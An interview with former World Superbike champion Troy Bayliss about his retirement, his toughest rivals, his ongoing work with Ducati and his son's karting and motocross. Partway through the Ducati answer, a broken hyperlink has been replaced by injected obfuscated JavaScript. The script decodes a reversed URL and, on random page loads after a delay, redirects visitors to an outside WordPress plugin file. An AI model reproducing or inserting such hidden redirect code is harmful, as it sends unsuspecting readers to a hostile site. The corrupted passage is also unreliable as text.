A Quick Chat With…Troy Bayliss. Abu Dhabi


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Your old mate Troy Corser – [who brought Australia its two other World Superbike Championships in 1996 and 2005] – completed 15 seasons in WSB before hanging up his helmet. What was the clincher for you?

“Well I’d promised my wife! It’s actually quite a long story! I was originally going to stop at the end of 2002, because the plan when I started was to do one year in WSB, learn the circuits (because I started halfway through the season), win the Championship the next year, then take a cool down year and hopefully win the title again, and then go home. Then Ducati Marlboro offered me a ride in MotoGP, and you can’t say no to that! Then I was going to stop in 2006, but scammed another two years from my wife  (laughs). But by the start of 2008, I’d already said to the team and the press that I was going to stop, because if I didn’t, I wouldn’t have stopped at all!

“By that point I’d had a long career and it was all about timing and getting out in one piece and getting the kids home to finish schooling. So there was a lot involved at the time, and then for the first one or two years after that, it was really difficult for me to actually stop. But then I didn’t realize how the work would carry on, with the testing and actually finishing on top.”

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There’s been a lot of competitive guys you’ve fought wheel-to-wheel with down the years. This is a bit of an unfair question, I’ll admit, but who do you rate as being your toughest rival?

“Oh, I can’t just pick one. That’s too hard! (Laughs) I mean, these are different people from different times. Of course, in MotoGP, I rate past teammates: Alex Barros and Loris Capirossi are both very strong guys, and both great riders. And in WSB, I tangled with different guys at different times, like James Toseland, Neil Hodgson, Noriyuki Haga, Colin Edwards…I mean, I had some really big battles with these guys down the years. I can’t pinpoint just one!”

You’ve  continued your association with Ducati since retiring in 2008. How have they been keeping you busy?

“I was testing the MotoGP bike at the start of 2009. Then I was developing the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/ducati-1199-panigale-launch-ride-yas-marina/” target=”_blank” rel=”noopener”>new 1199 Panigale, and I’ve also been working with Ducati Ride Experience (DRE), which is really quite big in Europe: we’ll see that expand and hopefully come to Dubai and Abu Dhabi as well. I actually have my own smaller version in Australia called the Troy Bayliss Experience, where we go to tracks around Australia. We have a two-seater motorbike where I do passenger rides, and the fans like that more than  anything. I actually get a kick out of that more than riding with the single guys!”

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Now the competitive stirrings have started at home too, I believe…

“Yes, I’m heavily involved with my boy and his karting. My young boy has really enjoyed doing karting, and now he’s starting doing MotoCross, and I told ‘you’ve picked a hard job’’.

You’ve had some fairly hefty hits down the years, most notably in 2005 when a nasty wrist injury sidelined you for six months. Does it ever make you nervous seeing your son out on-track knowing the risks?

“When I watch him in the kart, I don’t get nervous at all, because I know he’s just so in control. But I know that things can happen. When I said we should start doing some bike racing, my wife wasn’t very happy about that. Now she comes to the races in the car and just says, ‘Oh God, look at him. I don’t have a say in this! (laughs)’. He just loves it, and we can both tell he’s a racer. It is what it is!”

So, what lies ahead for Troy Bayliss and Ducati then?

“Well, my connection with Ducati and DRE could well go on for years. It’s a well-known brand and there’s always something going on. I’ve got a few other ideas, but for the moment Ducati is one of the main things I’m staying focused on.

“But I’m not going to do the world circuit again, coaching or anything like that. I’ve done that. Going to tracks just doesn’t interest me. I mean, following the World Championship, it’s like a circus. Once you’ve done it, you don’t really want to go back. I prefer to see what else there is up the road.”

Images courtesy of Ducati Troy Bayliss

Categories: Editor’s Picks,Race


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